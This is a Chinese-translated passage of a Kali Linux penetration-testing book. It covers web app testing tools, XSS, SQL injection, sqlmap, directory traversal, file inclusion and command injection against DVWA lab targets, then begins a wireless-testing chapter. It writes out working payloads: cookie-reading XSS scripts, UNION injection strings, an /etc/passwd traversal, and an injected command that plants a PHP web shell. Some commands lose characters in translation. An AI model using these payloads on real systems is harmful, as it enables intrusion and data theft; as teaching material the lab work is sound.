  4. 为了捕获任何进一步的请求和响应,请转到右侧面板上的 Trap 选项卡。当您决定对目标应用程序进行一些手动测试时,这是特别有用的。此外,您可以通过导航到工具 | 手动请求编辑器来构建自己的 HTTP 请求。

  5. 要执行自动化的漏洞测试,我们在站点选项卡下选择目标网站,并导航到分析 | 从菜单中的所有扫描。请注意,您仍然可以通过导航到分析 | 扫描策略,然后导航到分析 | 扫描而不是扫描所有来选择特定类型的安全测试。

  6. 漏洞测试完成后,您可以在底部的警报选项卡上看到一些安全警报。这些被分类为高、低和中风险级别。

  7. 如果您想要扫描报告,请在菜单栏中导航到报告 | 最新扫描报告。这将生成一个报告,列出测试会话期间发现的所有漏洞(/root/paros/session/LatestScannedReport.html)。

我们使用了基本的漏洞评估测试来进行示例场景。

为了更熟悉 Paros 代理提供的各种选项,我们建议您阅读用户指南,网址为:www.ipi.com/Training/SecTesting/paros_user_guide.pdf

W3AF

W3AF 是一个功能丰富的 Web 应用程序攻击和审计框架,旨在检测和利用 Web 漏洞。整个应用程序安全评估过程是自动化的,该框架旨在遵循三个主要步骤:发现、审计和攻击。每个步骤都包括几个插件,可以帮助审计员专注于特定的测试标准。所有这些插件都可以通信并共享测试数据,以实现所需的目标。它支持检测和利用多个 Web 应用程序漏洞,包括 SQL 注入、跨站脚本、远程和本地文件包含、缓冲区溢出、XPath 注入、操作系统命令和应用程序配置错误。

要获取有关每个可用插件的更多信息,请转到w3af.sourceforge.net/plugin-descriptions.php

要启动 W3AF,请转到应用程序 | Web 漏洞分析 | w3af,或者在终端中输入以下内容:

# w3af_console

这将使您进入个性化的 W3AF 控制台模式(w3af>>>)。请注意,该工具的 GUI 版本也可在相同菜单的位置找到,但我们选择向您介绍控制台版本,因为它具有灵活性和可定制性:

w3af>>> help

这将显示可用于配置测试的所有基本选项。每当您需要任何特定选项的帮助时,都可以使用帮助命令。在我们的练习中,我们将配置输出插件,启用所选的审计测试,设置目标,并对目标网站执行扫描过程,使用以下命令:

  • w3af>>> 插件

  • w3af/plugins>>> 帮助

  • w3af/plugins>>> 输出

  • w3af/plugins>>> 输出控制台,html 文件

  • w3af/plugins>>> 输出配置 html 文件

  • w3af/plugins/output/config:html_file>>> 帮助

  • w3af/plugins/output/config:html_file>>> 查看

  • w3af/plugins/output/config:html_file>>> 设置详细 True

  • w3af/plugins/output/config:html_file>>> 设置输出文件 metasploitable.html

  • w3af/plugins/output/config:html_file>>> 返回

  • w3af/plugins>>> 输出配置控制台

  • w3af/plugins/output/config:console>>> 帮助

  • w3af/plugins/output/config:console>>> 查看

  • w3af/plugins/output/config:console>>> 设置详细 False

  • w3af/plugins/output/config:console>>> 返回

  • w3af/plugins>>> 审计

  • w3af/plugins>>> 审计 htaccess_methods, os_commanding, sqli, xss

  • w3af/plugins>>> 返回

  • w3af>>> 目标

  • w3af/config:target>>> 帮助

  • w3af/config:target>>> 查看

  • w3af/config:target>>> 设置目标 http://http://192.168.0.30/mutillidae/index.php?page=login.php

  • w3af/config:target>>> 返回

  • w3af>>>

此时,我们已经配置了所有必需的测试参数。我们将使用以下命令对目标进行 SQL 注入、跨站脚本、OS 命令执行和 htaccess 配置错误进行评估:

w3af>>> start

正如您所看到的,我们已经发现了目标 Web 应用程序中的跨站脚本漏洞。还创建了一个详细的 HTML 报告,并发送到root文件夹。该报告详细说明了所有的漏洞,包括关于每个请求和 W3AF 与目标 Web 应用程序之间传输的响应数据的调试信息。

我们在前面的代码中呈现的测试案例并未反映出其他有用插件、配置文件和利用选项的使用。因此,我们强烈建议您浏览用户指南中提供的各种练习。这些可以在w3af.sourceforge.net/documentation/user/w3afUsersGuide.pdf找到。

WebScarab

WebScarab 是一个强大的 Web 应用程序安全评估工具。它有几种操作模式,但主要通过拦截代理进行操作。该代理位于最终用户的浏览器和目标 Web 应用程序之间,以监视和修改在两侧传输的请求和响应。这个过程帮助审计人员手动制作恶意请求并观察 Web 应用程序返回的响应。它具有许多集成工具,如模糊器、会话 ID 分析、蜘蛛、Web 服务分析器、XSS 和 CRLF 漏洞扫描器以及转码器。

要启动 WebScarab lite,请转到应用程序 | Web 应用程序分析 | webscarab,或者在终端中输入以下内容:

# webscarab

这将弹出 WebScarab 的精简版。对于我们的练习,我们将通过导航到菜单栏中的 Tools | Use full-featured interface 来将其转换为完整功能版。这将确认选择,并且你应该相应地重新启动应用程序。一旦你重新启动 WebScarab 应用程序,你将在屏幕上看到一些工具选项卡。在开始练习之前,我们需要将浏览器配置到本地代理(127.0.0.1, 8008),以便通过 WebScarab 拦截代理浏览目标应用程序。如果你想更改本地代理(IP 地址或端口),请导航到 Proxy | Listeners 选项卡。以下步骤将帮助你分析目标应用程序的会话 ID:

  • 一旦本地代理设置好,你应该浏览到目标网站(例如,http://192.168.0.30/mutillidae),并访问尽可能多的链接。这将增加捕获任何已知和未知漏洞的概率。或者,你可以在摘要选项卡下选择目标,右键单击,然后选择 Spider tree。这将获取目标应用程序中的所有可用链接。

  • 如果你想检查摘要选项卡底部提到的特定页面的请求和响应数据,双击它,你可以看到表格和原始格式中的解析请求。然而,响应也可以以 HTML、XML、文本和十六进制格式查看。

  • 在测试期间,我们可能决定对我们的目标应用程序链接之一进行模糊处理,该链接具有参数(例如,artist=1),使用GET方法。如果存在未知的漏洞,这可能会揭示出来。右键单击所选链接,选择“Use as fuzz template”。现在,单击 Fuzzer 选项卡,并通过单击 Parameters 部分附近的 Add 按钮手动应用不同的值到参数。在我们的情况下,我们编写了一个列出已知 SQL 注入数据的小文本文件(例如,1 AND 1=21 AND 1=1,和单引号(')),并将其作为模糊参数值的来源。这可以通过 Fuzzer 选项卡下的 Sources 按钮来完成。一旦你的模糊数据准备好了,点击开始。在所有测试完成后,你可以双击单个请求并检查其响应。在我们的一个测试案例中,我们发现了一个 MySQL 注入漏洞:

  • 错误:你的 SQL 语法有错误;请检查与你的 MySQL 服务器版本相对应的手册,以了解在第1行附近使用的正确语法。

  • 警告mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/default/htdocs/ listproducts.php on line 74

  • 在我们的最后一个测试案例中,我们决定分析目标应用程序的会话 ID。为此,请转到SessionID分析选项卡,并从组合框中选择“Previous Requests”。一旦选择的请求加载完成,转到底部,选择样本(例如,20),然后单击 Fetch 以检索各种会话 ID 的样本。之后,单击“测试”按钮开始分析过程。你可以在分析选项卡上看到结果,并在可视化选项卡上看到图形表示。这个过程确定了会话 ID 的随机性和不可预测性,这可能导致劫持其他用户的会话或凭据。

这个工具有各种选项和功能,可能会为渗透测试增加认知价值。要获取有关 WebScarab 项目的更多信息,请访问www.owasp.org/index.php/Category:OWASP_WebScarab_Project

跨站脚本

跨站脚本XSS)攻击今天仍然非常普遍。这是一种注入攻击类型,攻击者向 Web 应用程序发送的请求中注入恶意脚本或代码。这些攻击成功是因为用户输入在发送到服务器之前没有得到正确的验证。

最初有两种 XSS,但在 2005 年,发现了第三种:

  • 存储 XSS:存储 XSS 发生在用户输入被存储在目标服务器上并且没有被验证的情况下。存储可以是数据库、论坛或评论字段。受害者在不知情的情况下从 Web 应用程序中检索存储的数据,因为浏览器认为由于客户端和服务器之间的固有信任,这些数据是安全的。由于输入实际上被存储,存储 XSS 被认为是持久性或永久性的。

  • 反射 XSS:反射 XSS 发生在用户输入立即由 Web 应用程序返回,以错误消息、搜索结果或任何其他响应的形式返回,其中包括用户提供的请求的一部分或全部输入,而这些数据在浏览器中没有被安全地呈现,并且没有永久存储用户提供的数据。

  • DOM XSS:文档对象模型DOM)是 HTML 和 XML 文档的编程 API。它定义了文档的逻辑结构以及文档的访问和操作方式。DOM 型 XSS 是一种 XSS 形式,其中从源到汇的整个污染数据流都在浏览器中进行,也就是说,数据的源在 DOM 中,汇也在 DOM 中,数据流永远不会离开浏览器。

测试 XSS

为了测试 XSS 漏洞,我们将使用 JavaScript 和标准 HTML:

  • 测试反射 XSS

记住我们之前说过的:反射 XSS 之所以被命名,是因为用户输入立即被 Web 应用程序处理并返回。要测试它,我们需要找到一个接受用户输入的字段。

让我们登录到之前破解密码的 DVWA 页面。在主页上,左侧将有一个菜单:

选择 DVWA 安全,然后在下拉框中选择低,然后单击提交。通过这样做,我们已经设置了 Web 应用程序,使其操作就好像输入没有被验证一样:

对于我们的第一个测试,导航到页面上反射 XSS 显示在左侧菜单中。在输入字段中,输入以下 JavaScript:

<script>alert(“Allows XSS”)</script>

单击提交。

如果成功,您应该看到一个带有“允许 XSS”消息的弹出消息框:

让我们再试一次。输入以下内容:

<script>window.location=’https://www.google.com’</script>

这将把浏览器重定向到不同的网站,在我们的例子中是google.com

  • 测试存储 XSS

存储 XSS 之所以被命名,是因为它将自身存储在一个位置,尽管是数据库,并且每当用户访问受影响的站点时,代码都会执行。攻击者可以轻松地将关键信息,如 cookie,发送到远程位置。要测试它,我们需要找到一个接受用户输入的字段,例如评论字段。

让我们导航到左侧菜单中存储 XSS 的页面。我们看到两个输入字段:名称和消息。这模拟了许多网站上找到的基本评论或反馈表单。在名称字段中,输入任何您喜欢的名称,但在消息字段中输入以下代码,然后单击“签名留言簿”:

<script>alert(document.cookie)</script>

这是我们得到的弹出窗口:

现在,如果我们离开这个页面,比如到主页,然后返回到 XSS 存储页面,我们的代码应该再次运行并显示一个带有当前会话 cookie 的弹出窗口。这可以大大扩展,并且通过更多 JavaScript 的了解,攻击者可以造成很大的破坏。

SQL 注入

SQL 注入,或 SQLi,是对 SQL 数据库的攻击,其中通过来自客户端到应用程序的某种输入插入了代码或数据库查询。SQLi 是最古老的漏洞之一,但仍然是最常见的漏洞之一,因为基于 SQL 的数据库是如此普遍,所以也是最危险的漏洞之一。

SQL 注入攻击的严重程度受到攻击者的技能和想象力的限制,以及防御深度对策的影响,例如对数据库服务器的低特权连接。一般来说,将 SQL 注入视为高影响严重性。

在我们注入 SQL 之前,我们应该对 SQL 有一个基本的了解,并且了解数据库结构。

SQL 被认为是第四代编程语言,因为它使用标准的人类可理解的单词作为其语法:只是英语和括号。 SQL 用于数据库,我们可以使用它来创建表;添加记录,删除和更新,为用户设置权限;等等。

这是一个创建表的基本查询:

create table employee 
(first varchar(15),
last varchar(20),
age number(3),
address varchar(30),
city varchar(20),
state varchar(20));

前面的代码表示创建一个名为employee的表,具有以下列,firstlastageaddresscity,然后分配它们的数据类型为varchar(15)字符限制[可变字符,最多 15 个字符],和 number(3) [仅数字,最多 3 个数字,因此为 999]。

这是一个基本查询(也称为select语句)来从表中检索数据:

select first, last, city from employee

select语句是我们将利用的查询。

当您登录网站时,它会向数据库发送一个选择查询/语句,以检索数据以确认您登录的数据。

假设登录页面如下所示:

在登录时的后端查询可能如下所示:

SELECT * from users WHERE username=’username’ and password=’password’

前面的语句表示从名为 users 的表中选择所有(*),其中列username=是变量用户名(登录字段),列password =是变量密码(密码字段)。

手动 SQL 注入

现在我们了解了 SQL 查询的基础知识,让我们利用这一点。再次使用 DVWA,登录到 DVWA 并转到 SQL 注入:

我们可以看到这个页面有一个字段,供用户输入某人的用户 ID。如果我们在这里输入1,应用程序应该告诉我们谁有用户 ID 1。

让我们对 SQL 注入进行一个简单的测试。在用户 ID 字段中,不要输入数字,输入以下内容:

%’ or ‘1’=’1

让我们假设初始查询如下所示:

SELECT user_id, first_name, fast_name From users_table Where user_id = 'UserID';

我们假设表名为users_table,具有相关的列名。我们所做的是将前面的语句更改为以下内容:

'SELECT user_id, first_name, last_name FROM users WHERE user_id = %' OR '1'='1';

然后点击提交。我们的结果应该是表中的所有数据,如下所示:

%表示 mod 并将返回false。但我们添加了 OR 运算符。因此,由于查询的第一部分将返回false(因为%),OR 将强制其执行第二部分,'1'='1,这是true。因此,因为查询运行的一切,对于表中的每条记录来说,它总是true,SQL 打印出表中的所有记录。

以下是您可以尝试的其他查询:

  • 获取用于在 Web 应用程序和数据库之间连接的帐户的用户名:%' or 0=0 union select null, user() #

  • 从中获取我们一直在提取数据的当前数据库:%' or 0=0 union select null, database() #

  • 显示信息模式表:information_schema表是一个存储有关所有其他数据库的信息的数据库;%' and 1=0 union select null, table_name from information_schema.tables #

  • 显示数据库表:使用上一个查询的数据,我们可以找出表是什么:%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#

自动化 SQL 注入

现在我们了解了 SQL 注入的外观,让我们看一些可以自动化此过程的工具。

sqlmap

sqlmap 是 Kali 内置的工具,可用于识别和利用 SQLi 漏洞。在这个例子中,我们将使用 Burp Suite 收集一些数据,然后将其提供给sqlmap进行工作。

启动 Burp Suite 并设置浏览器通过其代理路由所有流量。确保拦截是打开的。转到 DVWA 应用程序上的 SQL 注入页面并输入用户 ID;在这种情况下,我将输入1

Burp 会捕获请求。将其转发直到请求完成。您应该在网页上看到您的结果。转到目标选项卡,选择 DVWA IP(在我的情况下是192.168.0.19),并使用箭头向下浏览结果,按照 URL 路径,http://192.168.0.19/dvwa/vulnerabilities/sqli/(您可以在浏览器的地址栏中确认):

选择状态为200(HTML 代码为200)的请求:

在请求选项卡中,我们得到了我们需要的信息-Web 应用程序发送的实际请求(引用者),它在第一行中:/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit,以及我们得到的 PHP 会话 ID 或 Cookie:

有了这些数据,让我们打开终端并输入以下内容来获取数据库用户,就像我们用手动步骤一样:

sqlmap -u "http://192.168.0.19/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=fb89mhevcus9oq1a1f2s6q3ss4; security=low" -b --current-db --current-user

这是一行没有断点的--cookie

  • -u:用于从 Burp 获取的目标 URL

  • --cookie:用于从 Burp 捕获的 cookie 信息

  • -b:显示数据库横幅

  • --current-db:获取当前数据库

  • --current-user:获取当前数据库的当前用户:

在测试过程中会提示您,您可以安全地按下Enter键接受默认设置。只有一个提示,我没有使用默认设置,纯粹是为了节省时间:

最后,我们得到了结果:

我们得到了有关运行数据库的操作系统(Ubuntu 10.04),服务器端技术(PHP 5.3.2 和 Apache 2.2.14),数据库(MySQL),当前数据库(dvwa)和当前用户(dvwa)的信息。

要获取sqlmap提供给您的所有选项的列表,只需在终端中键入sqlmap -h,如果您想要更高级的选项,输入sqlmap --hh

命令执行,目录遍历和文件包含

命令注入是一种攻击类型,其主要目标是使系统命令由易受攻击的应用程序的主机操作系统执行。当不安全的用户输入从应用程序传递到系统 shell 时,这些类型的攻击是可能的。提供的命令以应用程序的特权级别执行,例如,Web 服务器可能以www-data用户或 Apache 用户而不是 root 用户运行。

目录遍历是指服务器允许攻击者读取正常 Web 服务器目录之外的文件或目录。

文件包含漏洞是一种允许攻击者通过利用易受攻击的包含过程将文件包含到 Web 服务器的漏洞。例如,当页面接收文件路径作为输入并且此输入未经适当清理时,就会发生这种类型的漏洞,从而允许攻击者注入目录遍历字符(../)。

文件包含,目录遍历和命令注入都是一起工作的攻击向量。

目录遍历和文件包含

让我们开始测试,看看我们是否可以让 Web 应用程序跳转到上一级目录。

我们将再次进入 DVWA 应用程序。登录并从左侧菜单导航到文件包含页面:

在浏览器的地址栏中,您应该看到<IP 地址>/dvwa/vulnerabilities/fi/?page=include.php。让我们将include.php更改为index.php,看看会发生什么:

什么都没有发生,这表明在这个目录中没有index.php。但是我们知道index.php是存在的,它在/dvwa目录中。我们是怎么知道的呢?当我们使用 Burp Suite 来破解login.php页面的凭据时,我们看到成功登录会将用户重定向到index.php。您在浏览器中看不到index.php,因为index.php是 PHP 的默认根页面(ASP 的default.asp),因此默认情况下不会显示它。要测试,您只需在 DVWA 菜单中点击主页按钮,然后在/dvwa之后输入/index.php。这将带您到同样的主页。

再次导航到文件包含页面。查看 URL,我们看到我们目前在/dvwa/vulnerability/fi/,这是从我们的根目录dvwa向下两个目录。在浏览器的地址中,删除include.php,这次用../../index.php替换它。按下Enter,让我们看看会发生什么:

果然,它把我们带到了主页。太好了。我们成功地遍历了 Web 服务器的目录结构,并且,由于我们使用了系统中的一个文件,我们现在知道本地文件包含LFI)是可能的。

根据我们之前使用sqlmapnikto的结果,我们知道这个apache服务器正在运行的操作系统是 Linux(Ubuntu)。在 Linux 中,默认情况下,apache将其文件存储在/var/www/html/目录中。Linux 将基本用户信息存储在/etc/passwd文件中,并将散列用户密码存储在/etc/shadow文件中。有了这个知识,让我们尝试改变目录以查看/etc/passwd文件。

再次在文件包含页面上,删除include.php,输入../../../../../../etc/passwd

../../../../../../将我们带到了/var/www/html/dvwa/vulnerability/fi/,然后到了/

我们成功地向上改变了六个目录,然后向下改变了一个目录到/etc,获得了对passwd文件的访问。我们看到的是passwd文件的内容。

这是它复制到文本文件并清理后的截图:

冒号后的x表示这个帐户有密码,并且它以散列形式存储在/etc/shadow文件中。

知道我们可以遍历目录并且 LFI 是可能的,现在让我们尝试一下远程文件包含RFI)攻击。

我们的下一步是将一个文件从远程服务器(我们的 Kali 系统)传递到我们的目标系统。在终端中,输入以下内容:

service apache2 start

这启动了我们系统上的apache Web 服务器。您可以通过转到浏览器,输入您的系统 IP,然后会看到默认的apache HTML 页面来测试它。

回到 DVWA 应用程序,在文件包含页面导航。在地址栏中,用您的webserver/index.html的路径替换include.php

它成功地打开了index.html,这是托管在我们的 Web 服务器上的。在这个系统上可能发生 RFI:

命令执行

命令注入漏洞允许攻击者将命令注入到验证不足的用户输入中。这个输入以某种形式被系统 shell 使用,在这个过程中,注入的命令在系统上被执行。

有一种情况是,您可能会发现这是一个应用程序,它接受用户输入,例如用户名或电子邮件地址,并在系统上创建一个用于存储用户数据、文件上传等的文件夹。

在我们的目标系统 DVWA 中,有一个页面用于演示这个缺陷,通过利用传递给系统 ping 命令的用户输入。让我们再次登录到 OWASP Broken Apps VM 上的 DVWA,并从左侧菜单中选择命令注入:

如前所述,这个输入被传递给 ping 命令,应该是一个 IP 地址。我们可以通过传递127.0.0.1来确认这一点:

我们得到了预期的结果。现在,让我们尝试将另一个命令传递到这个输入中。我们知道这个应用程序正在 Linux 上托管。在 Linux 中,我们可以使用&&来连接命令。

使用&&,前一个命令必须成功完成,然后才能执行下一个命令。;将执行命令,无论前一个是否成功完成。让我们尝试一个基本的ls命令。在输入框中,输入127.0.0.1; ls,然后点击提交:

现在我们已经确认,在处理之前没有验证输入,因为 ping 统计后的行显示了当前目录的文件。我们可以扩展这一点,获取我们所在的当前目录以及执行命令的用户是谁。输入127.0.0.1pwdwhoami

从我们的结果中,我们看到我们目前在/owaspbwa/dvwa-git/vulnerabilities/exec目录中,并且我们正在以www-data用户的身份执行命令。现在让我们尝试打印文件的内容,特别是/etc/passwd文件。在输入框中,输入127.0.0.1cat /etc/paswd

这个片段应该看起来像我们之前 LFI 的结果。

让我们再做一件事。让我们在目录中创建一个文件,以便以后可以参考这个文件来执行命令。输入127.0.0.1echo “<?php system(\$_GET[‘cmd’]) ?>” > backdoor.php。这应该创建一个名为backdoor的 PHP 文件,里面的 PHP 代码应该是system (\$_GET[‘cmd’])

现在,在浏览器中导航到<ip address>/dvwa/vulnerabilities/exec/backdoor.php

页面加载了,但是没有显示任何内容。这是因为我们还没有传递任何命令。看看我们输入的内容,在单引号中我们有cmd。这是我们的变量,用于存储我们想要执行的命令,并将其传递给系统执行。要执行一个命令,在地址栏中的backdoor.php后面,输入?cmd=,然后输入你的命令。我将使用ls作为一个基本演示:

从这一点开始,可以���挥你的想象力,尝试不同的可能性。诚然,演示需要一些工作,但你可以随时查看源代码进行清理:

我想补充一点,你可以使用 Burp Suite 中的 Repeater 来执行这些步骤,你也可以将 Burp Suite 与sqlmap和 Metasploit 一起使用来获得一个 meterpreter shell。

摘要

在本章中,我们看了一些用于 Web 应用程序测试的主要工具,通过延伸,云应用程序也是如此,因为它们建立在相同的协议上并使用许多相同的平台。

正如你所看到的,这些漏洞有一个共同的根本原因,即用户输入没有经过净化或验证,以确保所需的数据被用于处理。此外,对一个漏洞的利用可以允许另一个漏洞被利用(例如目录遍历到文件包含)。

我们使用 OWASP ZAP、Nikto、sqlmap和 Burp Suite 来识别可能的漏洞,测试它们并利用它们。然而,Kali 还配备了许多其他工具,可以用来进行这些测试,许多工具可以一起使用。

Burp Suite 和 OWASP ZAP 特别是非常强大的独立工具,可以完成我们所看到的一切,甚至一些我们没有看到的东西。我们甚至可以使用它们进行目录遍历和文件包含测试。

一些其他要看的工具如下:

  • Commix(命令注入漏洞工具)

  • DirBuster(Web 服务器目录暴力破解工具)

  • Recon-NG(网络侦察工具)

  • Sqlninja(Microsoft SQL 注入工具)

在下一章中,我们将看一下无线网络分析,使用各种工具攻击网络以获取访问权限,并保持对网络的访问的方法。我们甚至会看一下设置恶意双子(Rogue AP)的初始步骤。

进一步阅读

有许多资源可供了解更多关于 Web 和云应用程序测试的信息。以下是一些资源:

第十一章:无线渗透测试

在我们之前的讨论中,我们已经研究了连接到有线网络时涉及的渗透测试技术。这包括内部局域网LAN)和在公共互联网上进行的 Web 应用程序评估等技术。值得关注的一个重点是无线网络。无线网络是无处不在的,在商业、政府、教育和住宅环境中都得到部署。因此,渗透测试人员应确保这些网络具有适当数量的安全控制,并且没有配置错误。

在本章中,我们将讨论以下主题:

  • 无线网络:在这个主题中,我们将讨论管理客户端(如笔记本电脑和平板电脑)如何认证和与无线网络接入点通信的基础协议和配置。

  • 侦察:就像我们在有线连接上进行的渗透测试一样,在 Kali Linux 和其他工具中可以添加和利用工具来识别潜在的目标网络,以及我们在攻击过程中可以利用的其他配置信息。

  • 认证攻击:与试图破坏远程服务器不同,我们将讨论的攻击是围绕获取对无线网络的认证访问。一旦认证,我们就可以连接,然后实施之前研究过的工具和技术。

  • 认证后该怎么做:在这里,我们将讨论在认证机制被破解后可以采取的一些行动。这些包括针对接入点的攻击以及如何绕过无线网络中实施的常见安全控制。还将讨论嗅探无线网络流量以获取凭证或其他信息。

对无线网络渗透测试的深入了解变得越来越重要。技术正在迅速采用物联网IoT)的概念,旨在将更多用于舒适和便利的设备移至互联网。无线网络将推动这一进展。

因此,将需要更多这些网络,这对应着攻击面的增加。客户和组织将需要了解风险以及攻击者如何攻击这些系统。

技术要求

在本章中,使用了两种不同的 USB 天线。第一种是 TP-LINK TL-WN722N 无线 N150 高增益 USB 适配器,另一种是 Alfa AWUSO36NH 高增益 USB 无线 G/N 长距离 Wi-Fi 网络适配器。这两种产品都可以在商业市场上找到。有关支持的无线天线和芯片组的更多信息,请参考以下网站:aircrack-ng.org/doku.phpid=compatibility_drivers&DokuWiki=090ueo337eqe94u5gkjo092di6#which_is_the_best_card_to_buy

无线网络

无线网络遵循协议和配置,方式与有线网络类似。无线网络利用无线电频谱频率在接入点和连接的网络之间传输数据。对于我们的目的,无线局域网WLANs)与标准局域网LANs)有很多相似之处。渗透测试人员的主要重点是识别目标网络并获取访问权限。

802.11 概述

统治无线网络的最高标准是 IEEE 802.11 标准。这一套规则最初是为了方便使用和快速连接设备而开发的。对于最初在 1997 年发布的标准,安全性方面的担忧并未得到解决。从那时起,这些标准已经进行了许多修订;其中对无线网络产生重大影响的第一个是 802.11b。这是最广泛接受的标准,于 1999 年发布。

由于 802.11 标准使用无线电信号,特定地区有不同的法律和法规适用于无线网络的使用。尽管如此,802.11 标准及其相关修订中只内置了少数几种安全控制类型。

有线等效隐私标准

Wired Equivalent PrivacyWEP)标准是与 802.11 标准一起开发的第一个安全标准。WEP 首次部署于 1999 年,与第一个广泛采用的 802.11 版本一起,旨在提供与有线网络上发现的相同数量的安全性。这是通过使用 RC4 密码来提供保密性和使用 CRC32 来提供完整性来实现的。

连接到 WEP 网络的认证是通过使用 64 位或 128 位密钥来完成的。64 位密钥是通过输入一系列 10 个十六进制字符来派生的。这些初始的 40 位与 24 位Initialization VectorIV)相结合,形成 RC4 加密密钥。对于 128 位密钥,104 位密钥或 26 个十六进制字符与 24 位 IV 相结合,创建 RC4 密钥。

连接到 WEP 无线网络的认证是一个四阶段的过程:

  1. 客户端向 WEP 接入点发送认证请求。

  2. WEP 接入点向客户端发送明文消息。

  3. 客户端获取输入的 WEP 密钥,并加密接入点传输的明文消息。客户端将其发送到接入点。

  4. 接入点使用自己的 WEP 密钥解密客户端发送的消息。如果消息被正确解密,客户端就被允许连接。

正如之前所提到的,WEP 并不是以消息保密性和完整性为中心设计的。因此,WEP 实施存在两个关键漏洞。首先,CRC32 算法并不是用于加密,而是用作错误的校验和。其次,RC4 容易受到所谓的初始化向量攻击。IV 攻击是可能的,因为 RC4 密码是流密码,因此相同的密钥不应该被两次使用。在繁忙的无线网络中,24 位密钥太短而无法使用。在大约 50%的情况下,相同的 IV 将在 5000 次使用内在无线通信频道中使用。这将导致碰撞,从而可以反转 IV 和整个 WEP 密钥。

由于安全漏洞,WEP 从 2003 年开始逐步淘汰,以更安全的无线实现为代价。因此,您可能不会在野外看到 WEP 的实施,但商业市场上仍有出售启用 WEP 的接入点。此外,您可能会遇到仍在使用此协议的传统网络。

Wi-Fi Protected Access(WPA)

随着 WEP 无线网络实现的安全漏洞显而易见,802.11 标准进行了更新,以在无线网络的保密性和完整性周围应用更高程度的安全性。这是通过设计Wi-Fi Protected AccessWPA)标准来实现的,该标准首次在 2003 年的 802.11i 标准中实施。WPA 标准在 2006 年进一步升级为 WPA2,从而成为 Wi-Fi Protected Access 网络的标准。WPA2 有三个不同的版本,每个版本都使用自己的认证机制:

  • WPA-Personal:这种 WPA2 实现通常在住宅或中小型企业环境中找到。WPA2 使用预共享密钥,该密钥由口令和无线网络的广播服务集标识符SSID)的组合派生而来。这个口令由用户配置,可以是 8 到 63 个字符的任何内容。然后,这个口令与 SSID 一起进行盐处理,再通过 SHA1 哈希算法的 4,096 次交互。

  • WPA-Enterprise:WPA/WPA2 的企业版本使用 RADIUS 认证服务器。这允许对用户和设备进行认证,并严重减少了暴力破解预共享密钥的能力。

  • Wi-Fi Protected Setup (WPS):这是一种更简单的认证方式,它使用 PIN 码而不是密码或口令。最初开发为连接设备到无线网络的更简单方式,我们将看到这种实现如何被破解,揭示出 PIN 码和无线网络实现中使用的口令。

为了我们的目的,我们将专注于测试 WPA-Personal 和 WPS 的实现。在 WPA-Personal 的情况下,认证和加密是通过四路握手来处理的:

  1. 接入点向客户端发送一个随机数,称为ANonce

  2. 客户端创建另一个称为SNonce的随机数。SNonce、ANonce 和用户输入的口令组合在一起,创建了所谓的消息完整性检查MIC)。MIC 和 SNonce 被发送回接入点。

  3. 接入点将 ANonce、SNonce 和预共享密钥进行哈希处理,如果匹配,则对客户端进行认证。然后向客户端发送一个加密密钥。

  4. 客户端确认加密密钥。

WPA-Personal 实现中存在两个关键的漏洞,我们将重点关注:

  • 弱预共享密钥:在 WPA-Personal 实现中,用户配置接入点的设置。通常,用户会配置一个简短、易记的口令。正如之前所示,我们能够嗅探到接入点和客户端之间的流量。如果我们能够捕获到四路握手,我们就有了反向破解口令并认证到网络所需的所有信息。

  • WPS:Wi-Fi Protected Setup 是终端用户通过 PIN 码将设备连接到无线网络的用户友好方式。打印机和娱乐设备通常会使用这项技术。用户只需在启用 WPS 的接入点上按下一个按钮,然后在启用 WPS 的设备上按下相同的按钮,就可以建立连接。缺点是,这种认证方式是通过 PIN 码完成的。这个 PIN 码可以被反向破解,不仅可以揭示 WPS PIN 码,还可以揭示无线口令。

无线网络侦察

与渗透测试局域网或公共互联网一样,我们需要进行侦察,以识别我们的目标无线网络。与拥有网络连接不同,我们还必须小心确保我们不会攻击未经授权测试的网络。当讨论无线渗透测试时,这成为一个重要问题,因为你经常会发现许多无线网络与目标网络混在一起。特别是在我们的目标组织及其相关网络位于办公大楼或公园的情况下。

天线

开始无线渗透测试时的一个关键考虑因素是天线的选择。虚拟机和笔记本电脑通常没有适当的无线网卡和天线来支持无线渗透测试。因此,您将不得不获取一个受支持的外部天线。大多数这些天线可以在网上以适中的价格轻松购买。

Iwlist

Kali Linux 有几个工具可用于识别无线网络;其中一个基本工具是iwlist Linux 命令。此命令列出了无线卡范围内可用的无线网络。打开命令提示符,输入以下内容:

    # iwlist wlan0 scan 

以下屏幕截图显示了输出:

虽然是一个简单的工具,但它为我们提供了一些有用的信息。这包括无线访问点的 BSSID 或 MAC 地址(这将在以后变得重要),认证和加密类型以及其他信息。

Kismet

Kismet 是一个组合无线扫描仪、IDS/IPS 和数据包嗅探器,它已安装在 Kali Linux 2.0 上。Kismet 是用 C++编写的,提供了一些通常在纯命令行工具中找不到的附加功能。要启动 Kismet,您可以导航到应用程序|无线攻击|Kismet,或在命令提示符中键入以下内容:

    # kismet 

命令执行后,您将被带到一个窗口。有不同的颜色方案可用,初始消息将验证您是否能在终端中看到 Kismet:

如果您没有问题看到终端,请单击“是”。

Kismet 需要有一个用于分析的来源。这将是您 Kali Linux 安装上的无线接口。如果您不确定,请在命令提示符中键入ifconfig;以 WLAN 开头的接口是您的无线接口:

Enter键表示“是”。

下一个屏幕允许您输入 Kismet 用于扫描的接口。在下面的屏幕截图中,我们输入wlan0,因为这是我们正在使用的接口:

Enter键添加接口。此时,Kismet 将开始收集无线访问点。这包括每个访问点正在使用的 BSSID 和信道:

从 Kismet 的输出中,您可以开始了解您的系统可见的无线网络。从这里开始,尝试识别那些无线访问点或网络,这些网络是您渗透测试的一部分。

WAIDPS

另一个有用的命令行工具是 WAIDPS 工具,用于无线渗透测试。虽然被宣传为无线网络入侵检测平台,但这个 Python 脚本对于收集有关无线网络和客户端的信息非常有用。要使用 WAIDPS,只需从github.com/SYWorks/waidps的网站下载WAIDPS.py Python 脚本。

下载后,将脚本放入任何目录,然后使用以下命令运行它:

    # python waidps.py

命令执行后,您将被带到一个屏幕,脚本将通过配置运行:

WAIDPS 具有一个可选功能,它将无线访问点的 MAC 地址与已知制造商的列表进行比较。如果您知道特定目标为其访问点使用了特定制造商,则此功能非常有用:

